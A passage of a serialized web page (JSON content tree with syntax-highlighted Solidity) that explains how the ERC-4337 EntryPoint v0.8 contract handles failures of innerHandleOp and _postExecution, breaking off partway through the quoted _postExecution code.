",{"type":23,"tag":481,"props":102596,"children":102597},{"style":551},[102598],{"type":28,"value":102599},"0x20",{"type":23,"tag":481,"props":102601,"children":102602},{"style":525},[102603],{"type":28,"value":12666},{"type":23,"tag":481,"props":102605,"children":102606},{"style":610},[102607],{"type":28,"value":102608},"mload",{"type":23,"tag":481,"props":102610,"children":102611},{"style":525},[102612],{"type":28,"value":102613},"(innerCall), ",{"type":23,"tag":481,"props":102615,"children":102616},{"style":551},[102617],{"type":28,"value":1568},{"type":23,"tag":481,"props":102619,"children":102620},{"style":525},[102621],{"type":28,"value":588},{"type":23,"tag":481,"props":102623,"children":102624},{"style":551},[102625],{"type":28,"value":57874},{"type":23,"tag":481,"props":102627,"children":102628},{"style":525},[102629],{"type":28,"value":675},{"type":23,"tag":481,"props":102631,"children":102632},{"class":483,"line":1299},[102633,102638,102642,102647,102651,102655],{"type":23,"tag":481,"props":102634,"children":102635},{"style":525},[102636],{"type":28,"value":102637}," collected ",{"type":23,"tag":481,"props":102639,"children":102640},{"style":514},[102641],{"type":28,"value":19105},{"type":23,"tag":481,"props":102643,"children":102644},{"style":610},[102645],{"type":28,"value":102646}," mload",{"type":23,"tag":481,"props":102648,"children":102649},{"style":525},[102650],{"type":28,"value":618},{"type":23,"tag":481,"props":102652,"children":102653},{"style":551},[102654],{"type":28,"value":1568},{"type":23,"tag":481,"props":102656,"children":102657},{"style":525},[102658],{"type":28,"value":675},{"type":23,"tag":481,"props":102660,"children":102661},{"class":483,"line":1329},[102662],{"type":23,"tag":481,"props":102663,"children":102664},{"style":525},[102665],{"type":28,"value":56412},{"type":23,"tag":481,"props":102667,"children":102668},{"class":483,"line":1337},[102669,102674],{"type":23,"tag":481,"props":102670,"children":102671},{"style":610},[102672],{"type":28,"value":102673}," _restoreFreePtr",{"type":23,"tag":481,"props":102675,"children":102676},{"style":525},[102677],{"type":28,"value":102678},"(saveFreePtr);\n",{"type":23,"tag":481,"props":102680,"children":102681},{"class":483,"line":1369},[102682],{"type":23,"tag":481,"props":102683,"children":102684},{"style":525},[102685],{"type":28,"value":870},{"type":23,"tag":481,"props":102687,"children":102688},{"class":483,"line":1377},[102689,102693,102697,102701],{"type":23,"tag":481,"props":102690,"children":102691},{"style":535},[102692],{"type":28,"value":790},{"type":23,"tag":481,"props":102694,"children":102695},{"style":525},[102696],{"type":28,"value":578},{"type":23,"tag":481,"props":102698,"children":102699},{"style":514},[102700],{"type":28,"value":18119},{"type":23,"tag":481,"props":102702,"children":102703},{"style":525},[102704],{"type":28,"value":102705},"success) {\n",{"type":23,"tag":481,"props":102707,"children":102708},{"class":483,"line":1437},[102709],{"type":23,"tag":481,"props":102710,"children":102711},{"style":525},[102712],{"type":28,"value":102333},{"type":23,"tag":481,"props":102714,"children":102715},{"class":483,"line":6528},[102716,102720,102725,102729],{"type":23,"tag":481,"props":102717,"children":102718},{"style":535},[102719],{"type":28,"value":56328},{"type":23,"tag":481,"props":102721,"children":102722},{"style":525},[102723],{"type":28,"value":102724}," (innerRevertCode ",{"type":23,"tag":481,"props":102726,"children":102727},{"style":514},[102728],{"type":28,"value":6055},{"type":23,"tag":481,"props":102730,"children":102731},{"style":525},[102732],{"type":28,"value":102733}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":481,"props":102735,"children":102736},{"class":483,"line":6546},[102737],{"type":23,"tag":481,"props":102738,"children":102739},{"style":488},[102740],{"type":28,"value":102741}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":481,"props":102743,"children":102744},{"class":483,"line":6591},[102745],{"type":23,"tag":481,"props":102746,"children":102747},{"style":488},[102748],{"type":28,"value":102749}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":481,"props":102751,"children":102752},{"class":483,"line":6697},[102753,102758,102763,102768,102773],{"type":23,"tag":481,"props":102754,"children":102755},{"style":535},[102756],{"type":28,"value":102757}," revert",{"type":23,"tag":481,"props":102759,"children":102760},{"style":610},[102761],{"type":28,"value":102762}," FailedOp",{"type":23,"tag":481,"props":102764,"children":102765},{"style":525},[102766],{"type":28,"value":102767},"(opIndex, ",{"type":23,"tag":481,"props":102769,"children":102770},{"style":1805},[102771],{"type":28,"value":102772},"\"AA95 out of gas\"",{"type":23,"tag":481,"props":102774,"children":102775},{"style":525},[102776],{"type":28,"value":1366},{"type":23,"tag":481,"props":102778,"children":102779},{"class":483,"line":21008},[102780,102784,102788,102792,102796,102800],{"type":23,"tag":481,"props":102781,"children":102782},{"style":525},[102783],{"type":28,"value":68124},{"type":23,"tag":481,"props":102785,"children":102786},{"style":535},[102787],{"type":28,"value":836},{"type":23,"tag":481,"props":102789,"children":102790},{"style":535},[102791],{"type":28,"value":13278},{"type":23,"tag":481,"props":102793,"children":102794},{"style":525},[102795],{"type":28,"value":102724},{"type":23,"tag":481,"props":102797,"children":102798},{"style":514},[102799],{"type":28,"value":6055},{"type":23,"tag":481,"props":102801,"children":102802},{"style":525},[102803],{"type":28,"value":102804}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":481,"props":102806,"children":102807},{"class":483,"line":21043},[102808],{"type":23,"tag":481,"props":102809,"children":102810},{"style":488},[102811],{"type":28,"value":102812}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":481,"props":102814,"children":102815},{"class":483,"line":21051},[102816,102820,102825,102829,102834,102838,102843,102847,102851],{"type":23,"tag":481,"props":102817,"children":102818},{"style":943},[102819],{"type":28,"value":100992},{"type":23,"tag":481,"props":102821,"children":102822},{"style":525},[102823],{"type":28,"value":102824}," actualGas ",{"type":23,"tag":481,"props":102826,"children":102827},{"style":514},[102828],{"type":28,"value":603},{"type":23,"tag":481,"props":102830,"children":102831},{"style":525},[102832],{"type":28,"value":102833}," preGas ",{"type":23,"tag":481,"props":102835,"children":102836},{"style":514},[102837],{"type":28,"value":1876},{"type":23,"tag":481,"props":102839,"children":102840},{"style":497},[102841],{"type":28,"value":102842}," gasleft",{"type":23,"tag":481,"props":102844,"children":102845},{"style":525},[102846],{"type":28,"value":11531},{"type":23,"tag":481,"props":102848,"children":102849},{"style":514},[102850],{"type":28,"value":1930},{"type":23,"tag":481,"props":102852,"children":102853},{"style":525},[102854],{"type":28,"value":102855}," opInfo.preOpGas;\n",{"type":23,"tag":481,"props":102857,"children":102858},{"class":483,"line":21059},[102859,102863,102867,102871],{"type":23,"tag":481,"props":102860,"children":102861},{"style":943},[102862],{"type":28,"value":100992},{"type":23,"tag":481,"props":102864,"children":102865},{"style":525},[102866],{"type":28,"value":101639},{"type":23,"tag":481,"props":102868,"children":102869},{"style":514},[102870],{"type":28,"value":603},{"type":23,"tag":481,"props":102872,"children":102873},{"style":525},[102874],{"type":28,"value":102875}," opInfo.prefund;\n",{"type":23,"tag":481,"props":102877,"children":102878},{"class":483,"line":21068},[102879,102884],{"type":23,"tag":481,"props":102880,"children":102881},{"style":610},[102882],{"type":28,"value":102883}," _emitPrefundTooLow",{"type":23,"tag":481,"props":102885,"children":102886},{"style":525},[102887],{"type":28,"value":102888},"(opInfo);\n",{"type":23,"tag":481,"props":102890,"children":102891},{"class":483,"line":21110},[102892,102897,102902,102906],{"type":23,"tag":481,"props":102893,"children":102894},{"style":610},[102895],{"type":28,"value":102896}," _emitUserOperationEvent",{"type":23,"tag":481,"props":102898,"children":102899},{"style":525},[102900],{"type":28,"value":102901},"(opInfo, ",{"type":23,"tag":481,"props":102903,"children":102904},{"style":497},[102905],{"type":28,"value":5654},{"type":23,"tag":481,"props":102907,"children":102908},{"style":525},[102909],{"type":28,"value":102910},", actualGasCost, actualGas);\n",{"type":23,"tag":481,"props":102912,"children":102913},{"class":483,"line":21143},[102914,102918,102922],{"type":23,"tag":481,"props":102915,"children":102916},{"style":525},[102917],{"type":28,"value":102637},{"type":23,"tag":481,"props":102919,"children":102920},{"style":514},[102921],{"type":28,"value":603},{"type":23,"tag":481,"props":102923,"children":102924},{"style":525},[102925],{"type":28,"value":102926}," actualGasCost;\n",{"type":23,"tag":481,"props":102928,"children":102929},{"class":483,"line":21151},[102930,102934,102938],{"type":23,"tag":481,"props":102931,"children":102932},{"style":525},[102933],{"type":28,"value":68124},{"type":23,"tag":481,"props":102935,"children":102936},{"style":535},[102937],{"type":28,"value":836},{"type":23,"tag":481,"props":102939,"children":102940},{"style":525},[102941],{"type":28,"value":809},{"type":23,"tag":481,"props":102943,"children":102944},{"class":483,"line":21159},[102945],{"type":23,"tag":481,"props":102946,"children":102947},{"style":525},[102948],{"type":28,"value":102333},{"type":23,"tag":481,"props":102950,"children":102951},{"class":483,"line":21168},[102952,102956,102960,102965],{"type":23,"tag":481,"props":102953,"children":102954},{"style":525},[102955],{"type":28,"value":102637},{"type":23,"tag":481,"props":102957,"children":102958},{"style":514},[102959],{"type":28,"value":603},{"type":23,"tag":481,"props":102961,"children":102962},{"style":610},[102963],{"type":28,"value":102964}," _postExecution",{"type":23,"tag":481,"props":102966,"children":102967},{"style":525},[102968],{"type":28,"value":988},{"type":23,"tag":481,"props":102970,"children":102971},{"class":483,"line":21244},[102972],{"type":23,"tag":481,"props":102973,"children":102974},{"style":525},[102975],{"type":28,"value":102976}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":481,"props":102978,"children":102979},{"class":483,"line":21277},[102980],{"type":23,"tag":481,"props":102981,"children":102982},{"style":525},[102983],{"type":28,"value":102984}," opInfo,\n",{"type":23,"tag":481,"props":102986,"children":102987},{"class":483,"line":21285},[102988],{"type":23,"tag":481,"props":102989,"children":102990},{"style":525},[102991],{"type":28,"value":102992}," context,\n",{"type":23,"tag":481,"props":102994,"children":102995},{"class":483,"line":21293},[102996],{"type":23,"tag":481,"props":102997,"children":102998},{"style":525},[102999],{"type":28,"value":103000}," actualGas\n",{"type":23,"tag":481,"props":103002,"children":103003},{"class":483,"line":21330},[103004],{"type":23,"tag":481,"props":103005,"children":103006},{"style":525},[103007],{"type":28,"value":103008}," );\n",{"type":23,"tag":481,"props":103010,"children":103011},{"class":483,"line":21343},[103012],{"type":23,"tag":481,"props":103013,"children":103014},{"style":525},[103015],{"type":28,"value":56412},{"type":23,"tag":481,"props":103017,"children":103018},{"class":483,"line":21356},[103019],{"type":23,"tag":481,"props":103020,"children":103021},{"style":525},[103022],{"type":28,"value":870},{"type":23,"tag":481,"props":103024,"children":103025},{"class":483,"line":21369},[103026],{"type":23,"tag":481,"props":103027,"children":103028},{"style":525},[103029],{"type":28,"value":879},{"type":23,"tag":24,"props":103031,"children":103032},{},[103033,103035,103040,103042,103048,103050,103056,103058,103064],{"type":28,"value":103034},"During execution, the ",{"type":23,"tag":64,"props":103036,"children":103038},{"className":103037},[],[103039],{"type":28,"value":99795},{"type":28,"value":103041}," contract makes a ",{"type":23,"tag":190,"props":103043,"children":103046},{"href":103044,"rel":103045},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[194],[103047],{"type":28,"value":35814},{"type":28,"value":103049}," to its own ",{"type":23,"tag":64,"props":103051,"children":103053},{"className":103052},[],[103054],{"type":28,"value":103055},"innerHandleOp",{"type":28,"value":103057}," function through a low-level ",{"type":23,"tag":64,"props":103059,"children":103061},{"className":103060},[],[103062],{"type":28,"value":103063},"call()",{"type":28,"value":103065},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":103067,"children":103068},{},[103069,103071,103077,103078,103083,103085,103092,103094,103100],{"type":28,"value":103070},"If this call fails (when ",{"type":23,"tag":64,"props":103072,"children":103074},{"className":103073},[],[103075],{"type":28,"value":103076},"success",{"type":28,"value":140},{"type":23,"tag":64,"props":103079,"children":103081},{"className":103080},[],[103082],{"type":28,"value":5654},{"type":28,"value":103084},"), the code enters an ",{"type":23,"tag":190,"props":103086,"children":103089},{"href":103087,"rel":103088},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[194],[103090],{"type":28,"value":103091},"error handling",{"type":28,"value":103093}," flow that checks the ",{"type":23,"tag":64,"props":103095,"children":103097},{"className":103096},[],[103098],{"type":28,"value":103099},"innerRevertCode",{"type":28,"value":103101},". There are three possible paths:",{"type":23,"tag":73,"props":103103,"children":103104},{},[103105,103129,103147],{"type":23,"tag":77,"props":103106,"children":103107},{},[103108,103109,103114,103115,103121,103123,103128],{"type":28,"value":4958},{"type":23,"tag":64,"props":103110,"children":103112},{"className":103111},[],[103113],{"type":28,"value":103099},{"type":28,"value":140},{"type":23,"tag":64,"props":103116,"children":103118},{"className":103117},[],[103119],{"type":28,"value":103120},"INNER_OUT_OF_GAS",{"type":28,"value":103122},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":64,"props":103124,"children":103126},{"className":103125},[],[103127],{"type":28,"value":102772},{"type":28,"value":199},{"type":23,"tag":77,"props":103130,"children":103131},{},[103132,103133,103138,103139,103145],{"type":28,"value":4958},{"type":23,"tag":64,"props":103134,"children":103136},{"className":103135},[],[103137],{"type":28,"value":103099},{"type":28,"value":140},{"type":23,"tag":64,"props":103140,"children":103142},{"className":103141},[],[103143],{"type":28,"value":103144},"INNER_REVERT_LOW_PREFUND",{"type":28,"value":103146},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":77,"props":103148,"children":103149},{},[103150,103152,103158,103160,103166],{"type":28,"value":103151},"For any other revert reason, the code will still call ",{"type":23,"tag":64,"props":103153,"children":103155},{"className":103154},[],[103156],{"type":28,"value":103157},"_postExecution()",{"type":28,"value":103159}," but with ",{"type":23,"tag":64,"props":103161,"children":103163},{"className":103162},[],[103164],{"type":28,"value":103165},"PostOpMode.postOpReverted",{"type":28,"value":103167},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":24,"props":103169,"children":103170},{},[103171,103173,103178,103180,103185,103187,103192,103194,103199],{"type":28,"value":103172},"We're particularly interested in the third error path, where ",{"type":23,"tag":64,"props":103174,"children":103176},{"className":103175},[],[103177],{"type":28,"value":103099},{"type":28,"value":103179}," is neither ",{"type":23,"tag":64,"props":103181,"children":103183},{"className":103182},[],[103184],{"type":28,"value":103120},{"type":28,"value":103186}," nor ",{"type":23,"tag":64,"props":103188,"children":103190},{"className":103189},[],[103191],{"type":28,"value":103144},{"type":28,"value":103193},". To understand this case better, let's examine how ",{"type":23,"tag":64,"props":103195,"children":103197},{"className":103196},[],[103198],{"type":28,"value":103055},{"type":28,"value":103200}," works.",{"type":23,"tag":435,"props":103202,"children":103204},{"className":2024,"code":103203,"language":2023,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[103205],{"type":23,"tag":64,"props":103206,"children":103207},{"__ignoreMap":7},[103208,103224,103245,103265,103281,103314,103321,103338,103362,103402,103421,103446,103480,103504,103521,103529,103537,103545,103553,103561,103568,103581,103598,103605,103612,103619,103630,103669,103685,103692],{"type":23,"tag":481,"props":103209,"children":103210},{"class":483,"line":484},[103211,103215,103220],{"type":23,"tag":481,"props":103212,"children":103213},{"style":497},[103214],{"type":28,"value":87363},{"type":23,"tag":481,"props":103216,"children":103217},{"style":610},[103218],{"type":28,"value":103219}," innerHandleOp",{"type":23,"tag":481,"props":103221,"children":103222},{"style":525},[103223],{"type":28,"value":988},{"type":23,"tag":481,"props":103225,"children":103226},{"class":483,"line":351},[103227,103232,103236,103241],{"type":23,"tag":481,"props":103228,"children":103229},{"style":943},[103230],{"type":28,"value":103231}," bytes",{"type":23,"tag":481,"props":103233,"children":103234},{"style":497},[103235],{"type":28,"value":100612},{"type":23,"tag":481,"props":103237,"children":103238},{"style":508},[103239],{"type":28,"value":103240}," callData",{"type":23,"tag":481,"props":103242,"children":103243},{"style":525},[103244],{"type":28,"value":1033},{"type":23,"tag":481,"props":103246,"children":103247},{"class":483,"line":531},[103248,103252,103256,103261],{"type":23,"tag":481,"props":103249,"children":103250},{"style":497},[103251],{"type":28,"value":102272},{"type":23,"tag":481,"props":103253,"children":103254},{"style":497},[103255],{"type":28,"value":100612},{"type":23,"tag":481,"props":103257,"children":103258},{"style":508},[103259],{"type":28,"value":103260}," opInfo",{"type":23,"tag":481,"props":103262,"children":103263},{"style":525},[103264],{"type":28,"value":1033},{"type":23,"tag":481,"props":103266,"children":103267},{"class":483,"line":567},[103268,103272,103276],{"type":23,"tag":481,"props":103269,"children":103270},{"style":943},[103271],{"type":28,"value":103231},{"type":23,"tag":481,"props":103273,"children":103274},{"style":497},[103275],{"type":28,"value":100544},{"type":23,"tag":481,"props":103277,"children":103278},{"style":508},[103279],{"type":28,"value":103280}," context\n",{"type":23,"tag":481,"props":103282,"children":103283},{"class":483,"line":678},[103284,103289,103294,103298,103302,103306,103310],{"type":23,"tag":481,"props":103285,"children":103286},{"style":525},[103287],{"type":28,"value":103288}," ) ",{"type":23,"tag":481,"props":103290,"children":103291},{"style":497},[103292],{"type":28,"value":103293},"external",{"type":23,"tag":481,"props":103295,"children":103296},{"style":535},[103297],{"type":28,"value":73525},{"type":23,"tag":481,"props":103299,"children":103300},{"style":525},[103301],{"type":28,"value":578},{"type":23,"tag":481,"props":103303,"children":103304},{"style":943},[103305],{"type":28,"value":43692},{"type":23,"tag":481,"props":103307,"children":103308},{"style":508},[103309],{"type":28,"value":101353},{"type":23,"tag":481,"props":103311,"children":103312},{"style":525},[103313],{"type":28,"value":12292},{"type":23,"tag":481,"props":103315,"children":103316},{"class":483,"line":784},[103317],{"type":23,"tag":481,"props":103318,"children":103319},{"style":525},[103320],{"type":28,"value":102333},{"type":23,"tag":481,"props":103322,"children":103323},{"class":483,"line":812},[103324,103329,103333],{"type":23,"tag":481,"props":103325,"children":103326},{"style":525},[103327],{"type":28,"value":103328}," IPaymaster.PostOpMode mode ",{"type":23,"tag":481,"props":103330,"children":103331},{"style":514},[103332],{"type":28,"value":603},{"type":23,"tag":481,"props":103334,"children":103335},{"style":525},[103336],{"type":28,"value":103337}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":481,"props":103339,"children":103340},{"class":483,"line":825},[103341,103345,103350,103354,103358],{"type":23,"tag":481,"props":103342,"children":103343},{"style":535},[103344],{"type":28,"value":790},{"type":23,"tag":481,"props":103346,"children":103347},{"style":525},[103348],{"type":28,"value":103349}," (callData.length ",{"type":23,"tag":481,"props":103351,"children":103352},{"style":514},[103353],{"type":28,"value":7947},{"type":23,"tag":481,"props":103355,"children":103356},{"style":551},[103357],{"type":28,"value":554},{"type":23,"tag":481,"props":103359,"children":103360},{"style":525},[103361],{"type":28,"value":12292},{"type":23,"tag":481,"props":103363,"children":103364},{"class":483,"line":843},[103365,103370,103375,103379,103384,103388,103393,103397],{"type":23,"tag":481,"props":103366,"children":103367},{"style":943},[103368],{"type":28,"value":103369}," bool",{"type":23,"tag":481,"props":103371,"children":103372},{"style":525},[103373],{"type":28,"value":103374}," success ",{"type":23,"tag":481,"props":103376,"children":103377},{"style":514},[103378],{"type":28,"value":603},{"type":23,"tag":481,"props":103380,"children":103381},{"style":525},[103382],{"type":28,"value":103383}," Exec.",{"type":23,"tag":481,"props":103385,"children":103386},{"style":610},[103387],{"type":28,"value":35814},{"type":23,"tag":481,"props":103389,"children":103390},{"style":525},[103391],{"type":28,"value":103392},"(mUserOp.sender, ",{"type":23,"tag":481,"props":103394,"children":103395},{"style":551},[103396],{"type":28,"value":1568},{"type":23,"tag":481,"props":103398,"children":103399},{"style":525},[103400],{"type":28,"value":103401},", callData, callGasLimit);\n",{"type":23,"tag":481,"props":103403,"children":103404},{"class":483,"line":864},[103405,103409,103413,103417],{"type":23,"tag":481,"props":103406,"children":103407},{"style":535},[103408],{"type":28,"value":56328},{"type":23,"tag":481,"props":103410,"children":103411},{"style":525},[103412],{"type":28,"value":578},{"type":23,"tag":481,"props":103414,"children":103415},{"style":514},[103416],{"type":28,"value":18119},{"type":23,"tag":481,"props":103418,"children":103419},{"style":525},[103420],{"type":28,"value":102705},{"type":23,"tag":481,"props":103422,"children":103423},{"class":483,"line":873},[103424,103428,103433,103437,103442],{"type":23,"tag":481,"props":103425,"children":103426},{"style":943},[103427],{"type":28,"value":100992},{"type":23,"tag":481,"props":103429,"children":103430},{"style":525},[103431],{"type":28,"value":103432}," freePtr ",{"type":23,"tag":481,"props":103434,"children":103435},{"style":514},[103436],{"type":28,"value":603},{"type":23,"tag":481,"props":103438,"children":103439},{"style":610},[103440],{"type":28,"value":103441}," _getFreePtr",{"type":23,"tag":481,"props":103443,"children":103444},{"style":525},[103445],{"type":28,"value":1201},{"type":23,"tag":481,"props":103447,"children":103448},{"class":483,"line":1125},[103449,103453,103457,103462,103466,103470,103475],{"type":23,"tag":481,"props":103450,"children":103451},{"style":943},[103452],{"type":28,"value":102389},{"type":23,"tag":481,"props":103454,"children":103455},{"style":497},[103456],{"type":28,"value":100612},{"type":23,"tag":481,"props":103458,"children":103459},{"style":525},[103460],{"type":28,"value":103461}," result ",{"type":23,"tag":481,"props":103463,"children":103464},{"style":514},[103465],{"type":28,"value":603},{"type":23,"tag":481,"props":103467,"children":103468},{"style":525},[103469],{"type":28,"value":103383},{"type":23,"tag":481,"props":103471,"children":103472},{"style":610},[103473],{"type":28,"value":103474},"getReturnData",{"type":23,"tag":481,"props":103476,"children":103477},{"style":525},[103478],{"type":28,"value":103479},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":481,"props":103481,"children":103482},{"class":483,"line":1142},[103483,103487,103492,103496,103500],{"type":23,"tag":481,"props":103484,"children":103485},{"style":535},[103486],{"type":28,"value":101052},{"type":23,"tag":481,"props":103488,"children":103489},{"style":525},[103490],{"type":28,"value":103491}," (result.length ",{"type":23,"tag":481,"props":103493,"children":103494},{"style":514},[103495],{"type":28,"value":7947},{"type":23,"tag":481,"props":103497,"children":103498},{"style":551},[103499],{"type":28,"value":554},{"type":23,"tag":481,"props":103501,"children":103502},{"style":525},[103503],{"type":28,"value":12292},{"type":23,"tag":481,"props":103505,"children":103506},{"class":483,"line":1159},[103507,103512,103517],{"type":23,"tag":481,"props":103508,"children":103509},{"style":535},[103510],{"type":28,"value":103511}," emit",{"type":23,"tag":481,"props":103513,"children":103514},{"style":610},[103515],{"type":28,"value":103516}," UserOperationRevertReason",{"type":23,"tag":481,"props":103518,"children":103519},{"style":525},[103520],{"type":28,"value":988},{"type":23,"tag":481,"props":103522,"children":103523},{"class":483,"line":1172},[103524],{"type":23,"tag":481,"props":103525,"children":103526},{"style":525},[103527],{"type":28,"value":103528}," opInfo.userOpHash,\n",{"type":23,"tag":481,"props":103530,"children":103531},{"class":483,"line":1181},[103532],{"type":23,"tag":481,"props":103533,"children":103534},{"style":525},[103535],{"type":28,"value":103536}," mUserOp.sender,\n",{"type":23,"tag":481,"props":103538,"children":103539},{"class":483,"line":1204},[103540],{"type":23,"tag":481,"props":103541,"children":103542},{"style":525},[103543],{"type":28,"value":103544}," mUserOp.nonce,\n",{"type":23,"tag":481,"props":103546,"children":103547},{"class":483,"line":1213},[103548],{"type":23,"tag":481,"props":103549,"children":103550},{"style":525},[103551],{"type":28,"value":103552}," result\n",{"type":23,"tag":481,"props":103554,"children":103555},{"class":483,"line":1222},[103556],{"type":23,"tag":481,"props":103557,"children":103558},{"style":525},[103559],{"type":28,"value":103560}," );\n",{"type":23,"tag":481,"props":103562,"children":103563},{"class":483,"line":1291},[103564],{"type":23,"tag":481,"props":103565,"children":103566},{"style":525},[103567],{"type":28,"value":68601},{"type":23,"tag":481,"props":103569,"children":103570},{"class":483,"line":1299},[103571,103576],{"type":23,"tag":481,"props":103572,"children":103573},{"style":610},[103574],{"type":28,"value":103575}," _restoreFreePtr",{"type":23,"tag":481,"props":103577,"children":103578},{"style":525},[103579],{"type":28,"value":103580},"(freePtr);\n",{"type":23,"tag":481,"props":103582,"children":103583},{"class":483,"line":1329},[103584,103589,103593],{"type":23,"tag":481,"props":103585,"children":103586},{"style":525},[103587],{"type":28,"value":103588}," mode ",{"type":23,"tag":481,"props":103590,"children":103591},{"style":514},[103592],{"type":28,"value":603},{"type":23,"tag":481,"props":103594,"children":103595},{"style":525},[103596],{"type":28,"value":103597}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":481,"props":103599,"children":103600},{"class":483,"line":1337},[103601],{"type":23,"tag":481,"props":103602,"children":103603},{"style":525},[103604],{"type":28,"value":56412},{"type":23,"tag":481,"props":103606,"children":103607},{"class":483,"line":1369},[103608],{"type":23,"tag":481,"props":103609,"children":103610},{"style":525},[103611],{"type":28,"value":870},{"type":23,"tag":481,"props":103613,"children":103614},{"class":483,"line":1377},[103615],{"type":23,"tag":481,"props":103616,"children":103617},{"emptyLinePlaceholder":15},[103618],{"type":28,"value":1210},{"type":23,"tag":481,"props":103620,"children":103621},{"class":483,"line":1437},[103622,103626],{"type":23,"tag":481,"props":103623,"children":103624},{"style":535},[103625],{"type":28,"value":100648},{"type":23,"tag":481,"props":103627,"children":103628},{"style":525},[103629],{"type":28,"value":809},{"type":23,"tag":481,"props":103631,"children":103632},{"class":483,"line":6528},[103633,103637,103641,103645,103649,103653,103657,103661,103665],{"type":23,"tag":481,"props":103634,"children":103635},{"style":943},[103636],{"type":28,"value":100660},{"type":23,"tag":481,"props":103638,"children":103639},{"style":525},[103640],{"type":28,"value":102824},{"type":23,"tag":481,"props":103642,"children":103643},{"style":514},[103644],{"type":28,"value":603},{"type":23,"tag":481,"props":103646,"children":103647},{"style":525},[103648],{"type":28,"value":102833},{"type":23,"tag":481,"props":103650,"children":103651},{"style":514},[103652],{"type":28,"value":1876},{"type":23,"tag":481,"props":103654,"children":103655},{"style":497},[103656],{"type":28,"value":102842},{"type":23,"tag":481,"props":103658,"children":103659},{"style":525},[103660],{"type":28,"value":11531},{"type":23,"tag":481,"props":103662,"children":103663},{"style":514},[103664],{"type":28,"value":1930},{"type":23,"tag":481,"props":103666,"children":103667},{"style":525},[103668],{"type":28,"value":102855},{"type":23,"tag":481,"props":103670,"children":103671},{"class":483,"line":6546},[103672,103676,103680],{"type":23,"tag":481,"props":103673,"children":103674},{"style":535},[103675],{"type":28,"value":76608},{"type":23,"tag":481,"props":103677,"children":103678},{"style":610},[103679],{"type":28,"value":102964},{"type":23,"tag":481,"props":103681,"children":103682},{"style":525},[103683],{"type":28,"value":103684},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":481,"props":103686,"children":103687},{"class":483,"line":6591},[103688],{"type":23,"tag":481,"props":103689,"children":103690},{"style":525},[103691],{"type":28,"value":870},{"type":23,"tag":481,"props":103693,"children":103694},{"class":483,"line":6697},[103695],{"type":23,"tag":481,"props":103696,"children":103697},{"style":525},[103698],{"type":28,"value":879},{"type":23,"tag":24,"props":103700,"children":103701},{},[103702,103704,103709,103711,103716,103718,103724,103726,103732,103734,103739,103741,103751],{"type":28,"value":103703},"We observe that, in the happy path, ",{"type":23,"tag":64,"props":103705,"children":103707},{"className":103706},[],[103708],{"type":28,"value":103055},{"type":28,"value":103710}," is expected to not only execute the actual ",{"type":23,"tag":64,"props":103712,"children":103714},{"className":103713},[],[103715],{"type":28,"value":99714},{"type":28,"value":103717}," call, but also call ",{"type":23,"tag":64,"props":103719,"children":103721},{"className":103720},[],[103722],{"type":28,"value":103723},"_postExecution",{"type":28,"value":103725},". This means that the third failure handling path, which passes ",{"type":23,"tag":64,"props":103727,"children":103729},{"className":103728},[],[103730],{"type":28,"value":103731},"postOpReverted",{"type":28,"value":103733}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":64,"props":103735,"children":103737},{"className":103736},[],[103738],{"type":28,"value":103723},{"type":28,"value":103740}," call ",{"type":23,"tag":2875,"props":103742,"children":103743},{},[103744,103746],{"type":28,"value":103745},"inside ",{"type":23,"tag":64,"props":103747,"children":103749},{"className":103748},[],[103750],{"type":28,"value":103055},{"type":28,"value":199},{"type":23,"tag":24,"props":103753,"children":103754},{},[103755,103757,103762],{"type":28,"value":103756},"Let's examine the ",{"type":23,"tag":64,"props":103758,"children":103760},{"className":103759},[],[103761],{"type":28,"value":103723},{"type":28,"value":103763}," code to understand where the revert might occur.",{"type":23,"tag":435,"props":103765,"children":103767},{"className":2024,"code":103766,"language":2023,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the 